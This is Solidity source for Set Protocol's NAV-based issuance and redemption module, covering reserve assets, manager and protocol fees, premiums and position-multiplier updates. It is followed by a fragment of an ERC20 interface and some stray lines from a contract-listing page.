ManagerFeeEdited( ISetToken indexed _setToken, uint256 _newManagerFee, uint256 _index ); event FeeRecipientEdited( ISetToken indexed _setToken, address _feeRecipient ); /* ============ Structs ============ */ struct NAVIssuanceSettings { INAVIssuanceHook managerIssuanceHook; // Issuance hook configurations INAVIssuanceHook managerRedemptionHook; // Redemption hook configurations address[] reserveAssets; // Allowed reserve assets - Must have a price enabled with the price oracle address feeRecipient; // Manager fee recipient uint256[2] managerFees; // Manager fees. 0 index is issue and 1 index is redeem fee (0.01% = 1e14, 1% = 1e16) uint256 maxManagerFee; // Maximum fee manager is allowed to set for issue and redeem uint256 premiumPercentage; // Premium percentage (0.01% = 1e14, 1% = 1e16). This premium is a buffer around oracle // prices paid by user to the SetToken, which prevents arbitrage and oracle front running uint256 maxPremiumPercentage; // Maximum premium percentage manager is allowed to set (configured by manager) uint256 minSetTokenSupply; // Minimum SetToken supply required for issuance and redemption // to prevent dramatic inflationary changes to the SetToken's position multiplier } struct ActionInfo { uint256 preFeeReserveQuantity; // Reserve value before fees; During issuance, represents raw quantity // During redeem, represents post-premium value uint256 protocolFees; // Total protocol fees (direct + manager revenue share) uint256 managerFee; // Total manager fee paid in reserve asset uint256 netFlowQuantity; // When issuing, quantity of reserve asset sent to SetToken // When redeeming, quantity of reserve asset sent to redeemer uint256 setTokenQuantity; // When issuing, quantity of SetTokens minted to mintee // When redeeming, quantity of SetToken redeemed uint256 previousSetTokenSupply; // SetToken supply prior to issue/redeem action uint256 newSetTokenSupply; // SetToken supply after issue/redeem action int256 newPositionMultiplier; // SetToken position multiplier after issue/redeem uint256 newReservePositionUnit; // SetToken reserve asset position unit after issue/redeem } /* ============ State Variables ============ */ // Wrapped ETH address IWETH public immutable weth; // Mapping of SetToken to NAV issuance settings struct mapping(ISetToken => NAVIssuanceSettings) public navIssuanceSettings; // Mapping to efficiently check a SetToken's reserve asset validity // SetToken => reserveAsset => isReserveAsset mapping(ISetToken => mapping(address => bool)) public isReserveAsset; /* ============ Constants ============ */ // 0 index stores the manager fee in managerFees array, percentage charged on issue (denominated in reserve asset) uint256 constant internal MANAGER_ISSUE_FEE_INDEX = 0; // 1 index stores the manager fee percentage in managerFees array, charged on redeem uint256 constant internal MANAGER_REDEEM_FEE_INDEX = 1; // 0 index stores the manager revenue share protocol fee % on the controller, charged in the issuance function uint256 constant internal PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX = 0; // 1 index stores the manager revenue share protocol fee % on the controller, charged in the redeem function uint256 constant internal PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX = 1; // 2 index stores the direct protocol fee % on the controller, charged in the issuance function uint256 constant internal PROTOCOL_ISSUE_DIRECT_FEE_INDEX = 2; // 3 index stores the direct protocol fee % on the controller, charged in the redeem function uint256 constant internal PROTOCOL_REDEEM_DIRECT_FEE_INDEX = 3; /* ============ Constructor ============ */ /** * @param _controller Address of controller contract * @param _weth Address of wrapped eth */ constructor(IController _controller, IWETH _weth) public ModuleBase(_controller) { weth = _weth; } /* ============ External Functions ============ */ /** * Deposits the allowed reserve asset into the SetToken and mints the appropriate % of Net Asset Value of the SetToken * to the specified _to address. * * @param _setToken Instance of the SetToken contract * @param _reserveAsset Address of the reserve asset to issue with * @param _reserveAssetQuantity Quantity of the reserve asset to issue with * @param _minSetTokenReceiveQuantity Min quantity of SetToken to receive after issuance * @param _to Address to mint SetToken to */ function issue( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, uint256 _minSetTokenReceiveQuantity, address _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, _reserveAsset, _reserveAssetQuantity); _callPreIssueHooks(_setToken, _reserveAsset, _reserveAssetQuantity, msg.sender, _to); ActionInfo memory issueInfo = _createIssuanceInfo(_setToken, _reserveAsset, _reserveAssetQuantity); _validateIssuanceInfo(_setToken, _minSetTokenReceiveQuantity, issueInfo); _transferCollateralAndHandleFees(_setToken, IERC20(_reserveAsset), issueInfo); _handleIssueStateUpdates(_setToken, _reserveAsset, _to, issueInfo); } /** * Wraps ETH and deposits WETH if allowed into the SetToken and mints the appropriate % of Net Asset Value of the SetToken * to the specified _to address. * * @param _setToken Instance of the SetToken contract * @param _minSetTokenReceiveQuantity Min quantity of SetToken to receive after issuance * @param _to Address to mint SetToken to */ function issueWithEther( ISetToken _setToken, uint256 _minSetTokenReceiveQuantity, address _to ) external payable nonReentrant onlyValidAndInitializedSet(_setToken) { weth.deposit{ value: msg.value }(); _validateCommon(_setToken, address(weth), msg.value); _callPreIssueHooks(_setToken, address(weth), msg.value, msg.sender, _to); ActionInfo memory issueInfo = _createIssuanceInfo(_setToken, address(weth), msg.value); _validateIssuanceInfo(_setToken, _minSetTokenReceiveQuantity, issueInfo); _transferWETHAndHandleFees(_setToken, issueInfo); _handleIssueStateUpdates(_setToken, address(weth), _to, issueInfo); } /** * Redeems a SetToken into a valid reserve asset representing the appropriate % of Net Asset Value of the SetToken * to the specified _to address. Only valid if there are available reserve units on the SetToken. * * @param _setToken Instance of the SetToken contract * @param _reserveAsset Address of the reserve asset to redeem with * @param _setTokenQuantity Quantity of SetTokens to redeem * @param _minReserveReceiveQuantity Min quantity of reserve asset to receive * @param _to Address to redeem reserve asset to */ function redeem( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity, uint256 _minReserveReceiveQuantity, address _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, _reserveAsset, _setTokenQuantity); _callPreRedeemHooks(_setToken, _setTokenQuantity, msg.sender, _to); ActionInfo memory redeemInfo = _createRedemptionInfo(_setToken, _reserveAsset, _setTokenQuantity); _validateRedemptionInfo(_setToken, _minReserveReceiveQuantity, _setTokenQuantity, redeemInfo); _setToken.burn(msg.sender, _setTokenQuantity); // Instruct the SetToken to transfer the reserve asset back to the user _setToken.strictInvokeTransfer( _reserveAsset, _to, redeemInfo.netFlowQuantity ); _handleRedemptionFees(_setToken, _reserveAsset, redeemInfo); _handleRedeemStateUpdates(_setToken, _reserveAsset, _to, redeemInfo); } /** * Redeems a SetToken into Ether (if WETH is valid) representing the appropriate % of Net Asset Value of the SetToken * to the specified _to address. Only valid if there are available WETH units on the SetToken. * * @param _setToken Instance of the SetToken contract * @param _setTokenQuantity Quantity of SetTokens to redeem * @param _minReserveReceiveQuantity Min quantity of reserve asset to receive * @param _to Address to redeem reserve asset to */ function redeemIntoEther( ISetToken _setToken, uint256 _setTokenQuantity, uint256 _minReserveReceiveQuantity, address payable _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, address(weth), _setTokenQuantity); _callPreRedeemHooks(_setToken, _setTokenQuantity, msg.sender, _to); ActionInfo memory redeemInfo = _createRedemptionInfo(_setToken, address(weth), _setTokenQuantity); _validateRedemptionInfo(_setToken, _minReserveReceiveQuantity, _setTokenQuantity, redeemInfo); _setToken.burn(msg.sender, _setTokenQuantity); // Instruct the SetToken to transfer WETH from SetToken to module _setToken.strictInvokeTransfer( address(weth), address(this), redeemInfo.netFlowQuantity ); weth.withdraw(redeemInfo.netFlowQuantity); _to.transfer(redeemInfo.netFlowQuantity); _handleRedemptionFees(_setToken, address(weth), redeemInfo); _handleRedeemStateUpdates(_setToken, address(weth), _to, redeemInfo); } /** * SET MANAGER ONLY. Add an allowed reserve asset * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset to add */ function addReserveAsset(ISetToken _setToken, address _reserveAsset) external onlyManagerAndValidSet(_setToken) { require(!isReserveAsset[_setToken][_reserveAsset], "Reserve asset already exists"); navIssuanceSettings[_setToken].reserveAssets.push(_reserveAsset); isReserveAsset[_setToken][_reserveAsset] = true; emit ReserveAssetAdded(_setToken, _reserveAsset); } /** * SET MANAGER ONLY. Remove a reserve asset * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset to remove */ function removeReserveAsset(ISetToken _setToken, address _reserveAsset) external onlyManagerAndValidSet(_setToken) { require(isReserveAsset[_setToken][_reserveAsset], "Reserve asset does not exist"); navIssuanceSettings[_setToken].reserveAssets = navIssuanceSettings[_setToken].reserveAssets.remove(_reserveAsset); delete isReserveAsset[_setToken][_reserveAsset]; emit ReserveAssetRemoved(_setToken, _reserveAsset); } /** * SET MANAGER ONLY. Edit the premium percentage * * @param _setToken Instance of the SetToken * @param _premiumPercentage Premium percentage in 10e16 (e.g. 10e16 = 1%) */ function editPremium(ISetToken _setToken, uint256 _premiumPercentage) external onlyManagerAndValidSet(_setToken) { require(_premiumPercentage <= navIssuanceSettings[_setToken].maxPremiumPercentage, "Premium must be less than maximum allowed"); navIssuanceSettings[_setToken].premiumPercentage = _premiumPercentage; emit PremiumEdited(_setToken, _premiumPercentage); } /** * SET MANAGER ONLY. Edit manager fee * * @param _setToken Instance of the SetToken * @param _managerFeePercentage Manager fee percentage in 10e16 (e.g. 10e16 = 1%) * @param _managerFeeIndex Manager fee index. 0 index is issue fee, 1 index is redeem fee */ function editManagerFee( ISetToken _setToken, uint256 _managerFeePercentage, uint256 _managerFeeIndex ) external onlyManagerAndValidSet(_setToken) { require(_managerFeePercentage <= navIssuanceSettings[_setToken].maxManagerFee, "Manager fee must be less than maximum allowed"); navIssuanceSettings[_setToken].managerFees[_managerFeeIndex] = _managerFeePercentage; emit ManagerFeeEdited(_setToken, _managerFeePercentage, _managerFeeIndex); } /** * SET MANAGER ONLY. Edit the manager fee recipient * * @param _setToken Instance of the SetToken * @param _managerFeeRecipient Manager fee recipient */ function editFeeRecipient(ISetToken _setToken, address _managerFeeRecipient) external onlyManagerAndValidSet(_setToken) { require(_managerFeeRecipient != address(0), "Fee recipient must not be 0 address"); navIssuanceSettings[_setToken].feeRecipient = _managerFeeRecipient; emit FeeRecipientEdited(_setToken, _managerFeeRecipient); } /** * SET MANAGER ONLY. Initializes this module to the SetToken with hooks, allowed reserve assets, * fees and issuance premium. Only callable by the SetToken's manager. Hook addresses are optional. * Address(0) means that no hook will be called. * * @param _setToken Instance of the SetToken to issue * @param _navIssuanceSettings NAVIssuanceSettings struct defining parameters */ function initialize( ISetToken _setToken, NAVIssuanceSettings memory _navIssuanceSettings ) external onlySetManager(_setToken, msg.sender) onlyValidAndPendingSet(_setToken) { require(_navIssuanceSettings.reserveAssets.length > 0, "Reserve assets must be greater than 0"); require(_navIssuanceSettings.maxManagerFee < PreciseUnitMath.preciseUnit(), "Max manager fee must be less than 100%"); require(_navIssuanceSettings.maxPremiumPercentage < PreciseUnitMath.preciseUnit(), "Max premium percentage must be less than 100%"); require(_navIssuanceSettings.managerFees[0] <= _navIssuanceSettings.maxManagerFee, "Manager issue fee must be less than max"); require(_navIssuanceSettings.managerFees[1] <= _navIssuanceSettings.maxManagerFee, "Manager redeem fee must be less than max"); require(_navIssuanceSettings.premiumPercentage <= _navIssuanceSettings.maxPremiumPercentage, "Premium must be less than max"); require(_navIssuanceSettings.feeRecipient != address(0), "Fee Recipient must be non-zero address."); // Initial mint of Set cannot use NAVIssuance since minSetTokenSupply must be > 0 require(_navIssuanceSettings.minSetTokenSupply > 0, "Min SetToken supply must be greater than 0"); for (uint256 i = 0; i < _navIssuanceSettings.reserveAssets.length; i++) { require(!isReserveAsset[_setToken][_navIssuanceSettings.reserveAssets[i]], "Reserve assets must be unique"); isReserveAsset[_setToken][_navIssuanceSettings.reserveAssets[i]] = true; } navIssuanceSettings[_setToken] = _navIssuanceSettings; _setToken.initializeModule(); } /** * Removes this module from the SetToken, via call by the SetToken. Issuance settings and * reserve asset states are deleted. */ function removeModule() external override { ISetToken setToken = ISetToken(msg.sender); for (uint256 i = 0; i < navIssuanceSettings[setToken].reserveAssets.length; i++) { delete isReserveAsset[setToken][navIssuanceSettings[setToken].reserveAssets[i]]; } delete navIssuanceSettings[setToken]; } receive() external payable {} /* ============ External Getter Functions ============ */ function getReserveAssets(ISetToken _setToken) external view returns (address[] memory) { return navIssuanceSettings[_setToken].reserveAssets; } function getIssuePremium( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) external view returns (uint256) { return _getIssuePremium(_setToken, _reserveAsset, _reserveAssetQuantity); } function getRedeemPremium( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) external view returns (uint256) { return _getRedeemPremium(_setToken, _reserveAsset, _setTokenQuantity); } function getManagerFee(ISetToken _setToken, uint256 _managerFeeIndex) external view returns (uint256) { return navIssuanceSettings[_setToken].managerFees[_managerFeeIndex]; } /** * Get the expected SetTokens minted to recipient on issuance * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _reserveAssetQuantity Quantity of the reserve asset to issue with * * @return uint256 Expected SetTokens to be minted to recipient */ function getExpectedSetTokenIssueQuantity( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) external view returns (uint256) { (,, uint256 netReserveFlow) = _getFees( _setToken, _reserveAssetQuantity, PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_ISSUE_DIRECT_FEE_INDEX, MANAGER_ISSUE_FEE_INDEX ); uint256 setTotalSupply = _setToken.totalSupply(); return _getSetTokenMintQuantity( _setToken, _reserveAsset, netReserveFlow, setTotalSupply ); } /** * Get the expected reserve asset to be redeemed * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _setTokenQuantity Quantity of SetTokens to redeem * * @return uint256 Expected reserve asset quantity redeemed */ function getExpectedReserveRedeemQuantity( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) external view returns (uint256) { uint256 preFeeReserveQuantity = _getRedeemReserveQuantity(_setToken, _reserveAsset, _setTokenQuantity); (,, uint256 netReserveFlows) = _getFees( _setToken, preFeeReserveQuantity, PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_REDEEM_DIRECT_FEE_INDEX, MANAGER_REDEEM_FEE_INDEX ); return netReserveFlows; } /** * Checks if issue is valid * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _reserveAssetQuantity Quantity of the reserve asset to issue with * * @return bool Returns true if issue is valid */ function isIssueValid( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) external view returns (bool) { uint256 setTotalSupply = _setToken.totalSupply(); return _reserveAssetQuantity != 0 && isReserveAsset[_setToken][_reserveAsset] && setTotalSupply >= navIssuanceSettings[_setToken].minSetTokenSupply; } /** * Checks if redeem is valid * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _setTokenQuantity Quantity of SetTokens to redeem * * @return bool Returns true if redeem is valid */ function isRedeemValid( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) external view returns (bool) { uint256 setTotalSupply = _setToken.totalSupply(); if ( _setTokenQuantity == 0 || !isReserveAsset[_setToken][_reserveAsset] || setTotalSupply < navIssuanceSettings[_setToken].minSetTokenSupply.add(_setTokenQuantity) ) { return false; } else { uint256 totalRedeemValue =_getRedeemReserveQuantity(_setToken, _reserveAsset, _setTokenQuantity); (,, uint256 expectedRedeemQuantity) = _getFees( _setToken, totalRedeemValue, PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_REDEEM_DIRECT_FEE_INDEX, MANAGER_REDEEM_FEE_INDEX ); uint256 existingUnit = _setToken.getDefaultPositionRealUnit(_reserveAsset).toUint256(); return existingUnit.preciseMul(setTotalSupply) >= expectedRedeemQuantity; } } /* ============ Internal Functions ============ */ function _validateCommon(ISetToken _setToken, address _reserveAsset, uint256 _quantity) internal view { require(_quantity > 0, "Quantity must be > 0"); require(isReserveAsset[_setToken][_reserveAsset], "Must be valid reserve asset"); } function _validateIssuanceInfo(ISetToken _setToken, uint256 _minSetTokenReceiveQuantity, ActionInfo memory _issueInfo) internal view { // Check that total supply is greater than min supply needed for issuance // Note: A min supply amount is needed to avoid division by 0 when SetToken supply is 0 require( _issueInfo.previousSetTokenSupply >= navIssuanceSettings[_setToken].minSetTokenSupply, "Supply must be greater than minimum to enable issuance" ); require(_issueInfo.setTokenQuantity >= _minSetTokenReceiveQuantity, "Must be greater than min SetToken"); } function _validateRedemptionInfo( ISetToken _setToken, uint256 _minReserveReceiveQuantity, uint256 _setTokenQuantity, ActionInfo memory _redeemInfo ) internal view { // Check that new supply is more than min supply needed for redemption // Note: A min supply amount is needed to avoid division by 0 when redeeming SetToken to 0 require( _redeemInfo.newSetTokenSupply >= navIssuanceSettings[_setToken].minSetTokenSupply, "Supply must be greater than minimum to enable redemption" ); require(_redeemInfo.netFlowQuantity >= _minReserveReceiveQuantity, "Must be greater than min receive reserve quantity"); } function _createIssuanceInfo( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) internal view returns (ActionInfo memory) { ActionInfo memory issueInfo; issueInfo.previousSetTokenSupply = _setToken.totalSupply(); issueInfo.preFeeReserveQuantity = _reserveAssetQuantity; (issueInfo.protocolFees, issueInfo.managerFee, issueInfo.netFlowQuantity) = _getFees( _setToken, issueInfo.preFeeReserveQuantity, PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_ISSUE_DIRECT_FEE_INDEX, MANAGER_ISSUE_FEE_INDEX ); issueInfo.setTokenQuantity = _getSetTokenMintQuantity( _setToken, _reserveAsset, issueInfo.netFlowQuantity, issueInfo.previousSetTokenSupply ); (issueInfo.newSetTokenSupply, issueInfo.newPositionMultiplier) = _getIssuePositionMultiplier(_setToken, issueInfo); issueInfo.newReservePositionUnit = _getIssuePositionUnit(_setToken, _reserveAsset, issueInfo); return issueInfo; } function _createRedemptionInfo( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) internal view returns (ActionInfo memory) { ActionInfo memory redeemInfo; redeemInfo.setTokenQuantity = _setTokenQuantity; redeemInfo.preFeeReserveQuantity =_getRedeemReserveQuantity(_setToken, _reserveAsset, _setTokenQuantity); (redeemInfo.protocolFees, redeemInfo.managerFee, redeemInfo.netFlowQuantity) = _getFees( _setToken, redeemInfo.preFeeReserveQuantity, PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_REDEEM_DIRECT_FEE_INDEX, MANAGER_REDEEM_FEE_INDEX ); redeemInfo.previousSetTokenSupply = _setToken.totalSupply(); (redeemInfo.newSetTokenSupply, redeemInfo.newPositionMultiplier) = _getRedeemPositionMultiplier(_setToken, _setTokenQuantity, redeemInfo); redeemInfo.newReservePositionUnit = _getRedeemPositionUnit(_setToken, _reserveAsset, redeemInfo); return redeemInfo; } /** * Transfer reserve asset from user to SetToken and fees from user to appropriate fee recipients */ function _transferCollateralAndHandleFees(ISetToken _setToken, IERC20 _reserveAsset, ActionInfo memory _issueInfo) internal { transferFrom(_reserveAsset, msg.sender, address(_setToken), _issueInfo.netFlowQuantity); if (_issueInfo.protocolFees > 0) { transferFrom(_reserveAsset, msg.sender, controller.feeRecipient(), _issueInfo.protocolFees); } if (_issueInfo.managerFee > 0) { transferFrom(_reserveAsset, msg.sender, navIssuanceSettings[_setToken].feeRecipient, _issueInfo.managerFee); } } /** * Transfer WETH from module to SetToken and fees from module to appropriate fee recipients */ function _transferWETHAndHandleFees(ISetToken _setToken, ActionInfo memory _issueInfo) internal { weth.transfer(address(_setToken), _issueInfo.netFlowQuantity); if (_issueInfo.protocolFees > 0) { weth.transfer(controller.feeRecipient(), _issueInfo.protocolFees); } if (_issueInfo.managerFee > 0) { weth.transfer(navIssuanceSettings[_setToken].feeRecipient, _issueInfo.managerFee); } } function _handleIssueStateUpdates( ISetToken _setToken, address _reserveAsset, address _to, ActionInfo memory _issueInfo ) internal { _setToken.editPositionMultiplier(_issueInfo.newPositionMultiplier); _setToken.editDefaultPosition(_reserveAsset, _issueInfo.newReservePositionUnit); _setToken.mint(_to, _issueInfo.setTokenQuantity); emit SetTokenNAVIssued( _setToken, msg.sender, _to, _reserveAsset, address(navIssuanceSettings[_setToken].managerIssuanceHook), _issueInfo.setTokenQuantity, _issueInfo.managerFee, _issueInfo.protocolFees ); } function _handleRedeemStateUpdates( ISetToken _setToken, address _reserveAsset, address _to, ActionInfo memory _redeemInfo ) internal { _setToken.editPositionMultiplier(_redeemInfo.newPositionMultiplier); _setToken.editDefaultPosition(_reserveAsset, _redeemInfo.newReservePositionUnit); emit SetTokenNAVRedeemed( _setToken, msg.sender, _to, _reserveAsset, address(navIssuanceSettings[_setToken].managerRedemptionHook), _redeemInfo.setTokenQuantity, _redeemInfo.managerFee, _redeemInfo.protocolFees ); } function _handleRedemptionFees(ISetToken _setToken, address _reserveAsset, ActionInfo memory _redeemInfo) internal { // Instruct the SetToken to transfer protocol fee to fee recipient if there is a fee payProtocolFeeFromSetToken(_setToken, _reserveAsset, _redeemInfo.protocolFees); // Instruct the SetToken to transfer manager fee to manager fee recipient if there is a fee if (_redeemInfo.managerFee > 0) { _setToken.strictInvokeTransfer( _reserveAsset, navIssuanceSettings[_setToken].feeRecipient, _redeemInfo.managerFee ); } } /** * Returns the issue premium percentage. Virtual function that can be overridden in future versions of the module * and can contain arbitrary logic to calculate the issuance premium. */ function _getIssuePremium( ISetToken _setToken, address /* _reserveAsset */, uint256 /* _reserveAssetQuantity */ ) virtual internal view returns (uint256) { return navIssuanceSettings[_setToken].premiumPercentage; } /** * Returns the redeem premium percentage. Virtual function that can be overridden in future versions of the module * and can contain arbitrary logic to calculate the redemption premium. */ function _getRedeemPremium( ISetToken _setToken, address /* _reserveAsset */, uint256 /* _setTokenQuantity */ ) virtual internal view returns (uint256) { return navIssuanceSettings[_setToken].premiumPercentage; } /** * Returns the fees attributed to the manager and the protocol. The fees are calculated as follows: * * ManagerFee = (manager fee % - % to protocol) * reserveAssetQuantity * Protocol Fee = (% manager fee share + direct fee %) * reserveAssetQuantity * * @param _setToken Instance of the SetToken * @param _reserveAssetQuantity Quantity of reserve asset to calculate fees from * @param _protocolManagerFeeIndex Index to pull rev share NAV Issuance fee from the Controller * @param _protocolDirectFeeIndex Index to pull direct NAV issuance fee from the Controller * @param _managerFeeIndex Index from NAVIssuanceSettings (0 = issue fee, 1 = redeem fee) * * @return uint256 Fees paid to the protocol in reserve asset * @return uint256 Fees paid to the manager in reserve asset * @return uint256 Net reserve to user net of fees */ function _getFees( ISetToken _setToken, uint256 _reserveAssetQuantity, uint256 _protocolManagerFeeIndex, uint256 _protocolDirectFeeIndex, uint256 _managerFeeIndex ) internal view returns (uint256, uint256, uint256) { (uint256 protocolFeePercentage, uint256 managerFeePercentage) = _getProtocolAndManagerFeePercentages( _setToken, _protocolManagerFeeIndex, _protocolDirectFeeIndex, _managerFeeIndex ); // Calculate total notional fees uint256 protocolFees = protocolFeePercentage.preciseMul(_reserveAssetQuantity); uint256 managerFee = managerFeePercentage.preciseMul(_reserveAssetQuantity); uint256 netReserveFlow = _reserveAssetQuantity.sub(protocolFees).sub(managerFee); return (protocolFees, managerFee, netReserveFlow); } function _getProtocolAndManagerFeePercentages( ISetToken _setToken, uint256 _protocolManagerFeeIndex, uint256 _protocolDirectFeeIndex, uint256 _managerFeeIndex ) internal view returns(uint256, uint256) { // Get protocol fee percentages uint256 protocolDirectFeePercent = controller.getModuleFee(address(this), _protocolDirectFeeIndex); uint256 protocolManagerShareFeePercent = controller.getModuleFee(address(this), _protocolManagerFeeIndex); uint256 managerFeePercent = navIssuanceSettings[_setToken].managerFees[_managerFeeIndex]; // Calculate revenue share split percentage uint256 protocolRevenueSharePercentage = protocolManagerShareFeePercent.preciseMul(managerFeePercent); uint256 managerRevenueSharePercentage = managerFeePercent.sub(protocolRevenueSharePercentage); uint256 totalProtocolFeePercentage = protocolRevenueSharePercentage.add(protocolDirectFeePercent); return (managerRevenueSharePercentage, totalProtocolFeePercentage); } function _getSetTokenMintQuantity( ISetToken _setToken, address _reserveAsset, uint256 _netReserveFlows, // Value of reserve asset net of fees uint256 _setTotalSupply ) internal view returns (uint256) { uint256 premiumPercentage = _getIssuePremium(_setToken, _reserveAsset, _netReserveFlows); uint256 premiumValue = _netReserveFlows.preciseMul(premiumPercentage); // Get valuation of the SetToken with the quote asset as the reserve asset. Returns value in precise units (1e18) // Reverts if price is not found uint256 setTokenValuation = controller.getSetValuer().calculateSetTokenValuation(_setToken, _reserveAsset); // Get reserve asset decimals uint256 reserveAssetDecimals = ERC20(_reserveAsset).decimals(); uint256 normalizedTotalReserveQuantityNetFees = _netReserveFlows.preciseDiv(10 ** reserveAssetDecimals); uint256 normalizedTotalReserveQuantityNetFeesAndPremium = _netReserveFlows.sub(premiumValue).preciseDiv(10 ** reserveAssetDecimals); // Calculate SetTokens to mint to issuer uint256 denominator = _setTotalSupply.preciseMul(setTokenValuation).add(normalizedTotalReserveQuantityNetFees).sub(normalizedTotalReserveQuantityNetFeesAndPremium); return normalizedTotalReserveQuantityNetFeesAndPremium.preciseMul(_setTotalSupply).preciseDiv(denominator); } function _getRedeemReserveQuantity( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) internal view returns (uint256) { // Get valuation of the SetToken with the quote asset as the reserve asset. Returns value in precise units (10e18) // Reverts if price is not found uint256 setTokenValuation = controller.getSetValuer().calculateSetTokenValuation(_setToken, _reserveAsset); uint256 totalRedeemValueInPreciseUnits = _setTokenQuantity.preciseMul(setTokenValuation); // Get reserve asset decimals uint256 reserveAssetDecimals = ERC20(_reserveAsset).decimals(); uint256 prePremiumReserveQuantity = totalRedeemValueInPreciseUnits.preciseMul(10 ** reserveAssetDecimals); uint256 premiumPercentage = _getRedeemPremium(_setToken, _reserveAsset, _setTokenQuantity); uint256 premiumQuantity = prePremiumReserveQuantity.preciseMulCeil(premiumPercentage); return prePremiumReserveQuantity.sub(premiumQuantity); } /** * The new position multiplier is calculated as follows: * inflationPercentage = (newSupply - oldSupply) / newSupply * newMultiplier = (1 - inflationPercentage) * positionMultiplier */ function _getIssuePositionMultiplier( ISetToken _setToken, ActionInfo memory _issueInfo ) internal view returns (uint256, int256) { // Calculate inflation and new position multiplier. Note: Round inflation up in order to round position multiplier down uint256 newTotalSupply = _issueInfo.setTokenQuantity.add(_issueInfo.previousSetTokenSupply); int256 newPositionMultiplier = _setToken.positionMultiplier() .mul(_issueInfo.previousSetTokenSupply.toInt256()) .div(newTotalSupply.toInt256()); return (newTotalSupply, newPositionMultiplier); } /** * Calculate deflation and new position multiplier. Note: Round deflation down in order to round position multiplier down * * The new position multiplier is calculated as follows: * deflationPercentage = (oldSupply - newSupply) / newSupply * newMultiplier = (1 + deflationPercentage) * positionMultiplier */ function _getRedeemPositionMultiplier( ISetToken _setToken, uint256 _setTokenQuantity, ActionInfo memory _redeemInfo ) internal view returns (uint256, int256) { uint256 newTotalSupply = _redeemInfo.previousSetTokenSupply.sub(_setTokenQuantity); int256 newPositionMultiplier = _setToken.positionMultiplier() .mul(_redeemInfo.previousSetTokenSupply.toInt256()) .div(newTotalSupply.toInt256()); return (newTotalSupply, newPositionMultiplier); } /** * The new position reserve asset unit is calculated as follows: * totalReserve = (oldUnit * oldSetTokenSupply) + reserveQuantity * newUnit = totalReserve / newSetTokenSupply */ function _getIssuePositionUnit( ISetToken _setToken, address _reserveAsset, ActionInfo memory _issueInfo ) internal view returns (uint256) { uint256 existingUnit = _setToken.getDefaultPositionRealUnit(_reserveAsset).toUint256(); uint256 totalReserve = existingUnit .preciseMul(_issueInfo.previousSetTokenSupply) .add(_issueInfo.netFlowQuantity); return totalReserve.preciseDiv(_issueInfo.newSetTokenSupply); } /** * The new position reserve asset unit is calculated as follows: * totalReserve = (oldUnit * oldSetTokenSupply) - reserveQuantityToSendOut * newUnit = totalReserve / newSetTokenSupply */ function _getRedeemPositionUnit( ISetToken _setToken, address _reserveAsset, ActionInfo memory _redeemInfo ) internal view returns (uint256) { uint256 existingUnit = _setToken.getDefaultPositionRealUnit(_reserveAsset).toUint256(); uint256 totalExistingUnits = existingUnit.preciseMul(_redeemInfo.previousSetTokenSupply); uint256 outflow = _redeemInfo.netFlowQuantity.add(_redeemInfo.protocolFees).add(_redeemInfo.managerFee); // Require withdrawable quantity is greater than existing collateral require(totalExistingUnits >= outflow, "Must be greater than total available collateral"); return totalExistingUnits.sub(outflow).preciseDiv(_redeemInfo.newSetTokenSupply); } /** * If a pre-issue hook has been configured, call the external-protocol contract. Pre-issue hook logic * can contain arbitrary logic including validations, external function calls, etc. */ function _callPreIssueHooks( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, address _caller, address _to ) internal { INAVIssuanceHook preIssueHook = navIssuanceSettings[_setToken].managerIssuanceHook; if (address(preIssueHook) != address(0)) { preIssueHook.invokePreIssueHook(_setToken, _reserveAsset, _reserveAssetQuantity, _caller, _to); } } /** * If a pre-redeem hook has been configured, call the external-protocol contract. */ function _callPreRedeemHooks(ISetToken _setToken, uint256 _setQuantity, address _caller, address _to) internal { INAVIssuanceHook preRedeemHook = navIssuanceSettings[_setToken].managerRedemptionHook; if (address(preRedeemHook) != address(0)) { preRedeemHook.invokePreRedeemHook(_setToken, _setQuantity, _caller, _to); } } }
Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); Copyright 2018 Set Labs Inc. }
15,419,405
./partial_match/1/0xa1a5143b4044cC3B710FfB8D7130b24a542536f0/sources/lib/forge-std/src/safeconsole.sol
Selector of `log(address,address)`.
